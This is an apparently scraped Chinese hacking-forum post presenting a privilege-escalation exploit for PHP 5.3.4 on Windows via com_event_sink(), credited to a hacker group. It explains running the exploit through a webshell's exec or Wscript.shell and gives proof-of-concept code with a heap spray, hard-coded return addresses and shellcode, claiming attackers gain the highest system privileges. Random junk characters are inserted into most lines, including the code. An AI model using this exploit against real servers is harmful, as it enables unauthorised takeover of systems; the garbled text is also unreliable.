|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
% b3 p: p+ L* O! \
& H- O, z# D% k1 s+ x8 Z% T测试方法如下:cmd /c x:\php\php.exe x:\test.php
) j7 n7 C8 V1 {5 v
! p C' W) W0 S; R下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php, Q- M/ |, j- `8 u, v% ?& J
这里是两个测试的截图:
" _8 @1 o+ i& D" S4 F, P/ R) F
6 h8 u# N4 }+ j# g) r% W; H
8 D% E, L) B& B) R2 v
9 p# r2 a; L( W+ A
8 S! o7 r/ z' W6 _ N3 S' p& m- X/ v; e, P8 z
成功利用此漏洞的攻击者将获得系统的最高权限. }: S! G M0 ~% [3 h6 n1 |* z
( T' n) Q* V' L4 r
+ G: G% O5 `4 J7 r
l! Q/ H1 v4 V& p7 A, S) i
1 X# M2 x* h+ u% X4 B+ G! r+ X. }% W4 d/ L
关于漏洞分析稍后附上。一下是PoC代码:
o; A7 E$ s8 N' J$ c+ y
0 K" e' M3 N( \7 @0 D8 ?+ v/ A<?php# ?6 J O. t0 o/ Z. p6 Y& L
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞! ^) B' _7 G3 h6 m% h
//$eip ="\x44\x43\x42\x41";
& d0 s) i. y% c. {8 [$eip= "\x4b\xe8\x57\x78";! h; ~* Q0 h9 u- E/ Y! ?! S! Z: O% Q
$eax ="\x80\x01\x8d\x04";3 a: Y& h$ A2 {) Y8 c- b% j; h: }% @
$deodrant="";
0 J6 ^2 H; D! T" j+ O G6 q$axespray = str_repeat($eip.$eax,0x80);6 y' L* c0 ^5 a
//048d0190 u+ U" m: h* I' f6 n
echo strlen($axespray);
- f& m7 i- e% G1 ?echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";6 c( j3 P( [. [/ |
echo "Silic Group Hacker Army - BlackBap.Org";
* D/ h4 ?. z* i6 h//19200 ==4B32 4b00
8 |/ B0 v k/ k2 x7 d& x4 sfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}3 P- `/ I$ ]* F$ h* y: [
$terminate = "T";
( `& }: q7 j" r, O- Q* h2 i7 U" G0 |) Q$u[] =$deodrant;
2 Y; {7 d+ q( E$r[] =$deodrant.$terminate;! Q8 Q' o6 W. w/ y; v- a7 t
$a[] =$deodrant.$terminate;
6 [+ [8 V9 @% m6 `. o$s[] =$deodrant.$terminate;# C2 |" _. u9 j
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的0 P& J# s1 Q$ S) V
$vVar = new VARIANT(0x048d0000+180);
- J ?- w9 t i3 a3 f//弹窗代码(Shellcode)1 e$ b5 t3 |7 ]$ Y
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
5 b7 y( @$ C1 P4 |$var2 = new VARIANT(0x41414242);
& {6 A6 B/ l3 v. ^+ i; z) h: Fcom_event_sink($vVar,$var2,$buffer);
+ o- [. J" Q& H8 Q6 ^( s?>. g4 U9 {! ?+ _- |- |6 ~
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|